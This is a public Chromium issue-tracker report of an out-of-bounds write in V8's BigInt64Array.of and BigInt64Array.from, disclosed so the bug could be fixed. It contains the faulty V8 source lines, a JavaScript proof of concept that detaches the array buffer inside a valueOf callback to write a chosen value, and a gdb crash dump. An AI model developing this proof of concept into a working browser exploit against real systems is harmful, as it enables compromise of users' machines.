New issue
Advanced search Search tips

Issue 867771 link

Starred by 1 user

Issue metadata

Status: Duplicate
Merged: issue 867776
Owner: ----
Closed: Jul 26
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: V8 OOB write BigInt64Array.of and BigInt64Array.from side effect neuter

Reported by btis...@gmail.com, Jul 26

Issue description

Vulnerability Details
This appears to be a bug that was introduced after fixing 816961. I don't have permission to view the issue, but the regression test `regress-crbug-816
961.js` covers all cases except the BigInt64Array code path.

`TypedArrayOf`(builtins-typedarray.cc:1634) has a special case for BigInt64Arrays which is handled by `EmitBigTypedArrayElementStore` (code-stub-assemb
ler.cc:8815).

(line numbers taken from 6.8.275.24)

1675 if (kind == BIGINT64_ELEMENTS || kind == BIGUINT64_ELEMENTS) {
1676    EmitBigTypedArrayElementStore(new_typed_array, elements,
1677    intptr_index, item, context,
1678    &if_neutered);

`EmitBigTypedArrayElementStore` checks to see if the BigInt64Array is neutered and if so bails out. The check happens before `ToBigInt` which triggers 
callbacks.

 8815 void CodeStubAssembler::EmitBigTypedArrayElementStore(
 8816     TNode<JSTypedArray> object, TNode<FixedTypedArrayBase> elements,
 8817     TNode<IntPtrT> intptr_key, TNode<Object> value, TNode<Context> context,
 8818     Label* opt_if_neutered) {
 8819   if (opt_if_neutered != nullptr) { <----- Check for neuter
 8820     // Check if buffer has been neutered.
 8821     Node* buffer = LoadObjectField(object, JSArrayBufferView::kBufferOffset);
 8822     GotoIf(IsDetachedBuffer(buffer), opt_if_neutered);
 8823   }
 8824
 8825   TNode<BigInt> bigint_value = ToBigInt(context, value); <------- Callbacks are triggered (neuter)
 8826   TNode<RawPtrT> backing_store = LoadFixedTypedArrayBackingStore(elements);
 8827   TNode<IntPtrT> offset = ElementOffsetFromIndex(intptr_key, BIGINT64_ELEMENTS,
 8828                                                  INTPTR_PARAMETERS, 0);
 8829   EmitBigTypedArrayElementStore(elements, backing_store, offset, bigint_value);
 8830 }


Version
V8  6.8.275.24


Reproduction case

I've used %ArrayBufferNeuter and gc for simplicity

```
// Tested with
// gn args
//    is_debug=false
// EOF
// or x64.release
// flags: --allow-natives-syntax --expose-gc

var array = new BigInt64Array(11);

function evil_callback() {
  print("callback");
  %ArrayBufferNeuter(array.buffer);
  gc();
  return 71748523475265n - 16n; // rax: 0x41414141414141
}

var evil_object = {valueOf: evil_callback}

var root = BigInt64Array.of.call(
  function() { return array },
  evil_object
)

gc(); // trigger
```

$ ./out/x64.release/d8 --allow-native-syntax --expose-gc ./bigint-v8.js

```
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$rax   : 0x414141414131    
$rbx   : 0x55555619c0e0      →  0x00005555561434f0  →  0x0000000000000000
$rcx   : 0x0               
$rdx   : 0x2               
$rsp   : 0x7fffffffc5d0      →  0x0000555556187ef0  →  0x00005555560d6190  →  0x0000555555b56360  →  <v8::internal::MarkCompactCollector::~MarkCompactCollector()+0> push rbp
$rbp   : 0x7fffffffc600      →  0x00007fffffffc640  →  0x00007fffffffc750  →  0x00007fffffffc790  →  0x00007fffffffc800  →  0x00007fffffffc960  →  0x00007fffffffca40  →  0x00007fffffffca60
$rsi   : 0x1ff             
$rdi   : 0x1               
$rip   : 0x555555b9bffb      →  <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> mov QWORD PTR [rax+rdx*8], r14
$r8    : 0x55555619c130      →  0x0000000000000001
$r9    : 0x1               
$r10   : 0x7fffffffc5d0      →  0x0000555556187ef0  →  0x00005555560d6190  →  0x0000555555b56360  →  <v8::internal::MarkCompactCollector::~MarkCompactCollector()+0> push rbp
$r11   : 0x263816e8c028a0  
$r12   : 0x55555619c1f8      →  0x0000000000000000
$r13   : 0x0               
$r14   : 0x176c82000000      →  0x0000000000080000
$r15   : 0x55555619c130      →  0x0000000000000001
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$ss: 0x002b  $gs: 0x0000  $ds: 0x0000  $fs: 0x0000  $cs: 0x0033  $es: 0x0000  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffc5d0│+0x00: 0x0000555556187ef0  →  0x00005555560d6190  →  0x0000555555b56360  →  <v8::internal::MarkCompactCollector::~MarkCompactCollector()+0> push rbp         ← $rsp, $r10
0x00007fffffffc5d8│+0x08: 0x0000176c82000000  →  0x0000000000080000
0x00007fffffffc5e0│+0x10: 0x000055555619cfd0  →  0x0000000000000000
0x00007fffffffc5e8│+0x18: 0x0000000000000000
0x00007fffffffc5f0│+0x20: 0x0000176c82080000  →  0x0000000000080000
0x00007fffffffc5f8│+0x28: 0x000055555619cf40  →  0x00005555560d5cf8  →  0x0000555555b486f0  →  <v8::internal::PagedSpace::~PagedSpace()+0> push rbp
0x00007fffffffc600│+0x30: 0x00007fffffffc640  →  0x00007fffffffc750  →  0x00007fffffffc790  →  0x00007fffffffc800  →  0x00007fffffffc960  →  0x00007fffffffca40  →  0x00007fffffffca60  ← $rbp
0x00007fffffffc608│+0x38: 0x0000555555b638d8  →  <v8::internal::MarkCompactCollector::StartSweepSpace(v8::internal::PagedSpace*)+232> mov rbx, r14
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
   0x555555b9bfed <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> shr    rcx, 0x9
   0x555555b9bff1 <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> mov    rax, QWORD PTR [rax+rcx*8]
   0x555555b9bff5 <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> and    edx, 0x1ff
 → 0x555555b9bffb <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> mov    QWORD PTR [rax+rdx*8], r14
   0x555555b9bfff <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> add    QWORD PTR [r12], 0x1
   0x555555b9c004 <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> mov    rdi, r15
   0x555555b9c007 <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> add    rsp, 0x8
   0x555555b9c00b <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> pop    rbx
   0x555555b9c00c <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> pop    r12
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "d8", stopped, reason: SIGSEGV
[#1] Id 2, Name: "V8 WorkerThread", stopped, reason: SIGSEGV
[#2] Id 3, Name: "V8 WorkerThread", stopped, reason: SIGSEGV
[#3] Id 4, Name: "V8 WorkerThread", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x555555b9bffb → Name: v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace, v8::internal::Page*, v8::internal::Sweeper::AddPageMode)()
[#1] 0x555555b638d8 → Name: v8::internal::MarkCompactCollector::StartSweepSpace(v8::internal::PagedSpace*)()
[#2] 0x555555b596ca → Name: v8::internal::MarkCompactCollector::StartSweepSpaces()()
[#3] 0x555555b57848 → Name: v8::internal::MarkCompactCollector::CollectGarbage()()
[#4] 0x555555b3af52 → Name: v8::internal::Heap::MarkCompact()()
[#5] 0x555555b38e5c → Name: v8::internal::Heap::PerformGarbageCollection(v8::internal::GarbageCollector, v8::GCCallbackFlags)()
[#6] 0x555555b3767d → Name: v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags)()
[#7] 0x555555b36399 → Name: v8::internal::Heap::CollectAllGarbage(int, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags)()
[#8] 0x55555588677b → Name: v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo*)()
[#9] 0x555555885cb7 → Name: v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::inter
nal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArgum
ents)()
```
bigint-v8.js (tested with release version of V8 6.8.275.24)
 
bigint-v8.js
492 bytes View Download
gdb_output.txt
6.9 KB View Download
Fixed the formatting issues and moved to 867776
Mergedinto: 867776
Status: Duplicate (was: Unconfirmed)
Project Member

Comment 3 by sheriffbot@chromium.org, Nov 6

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment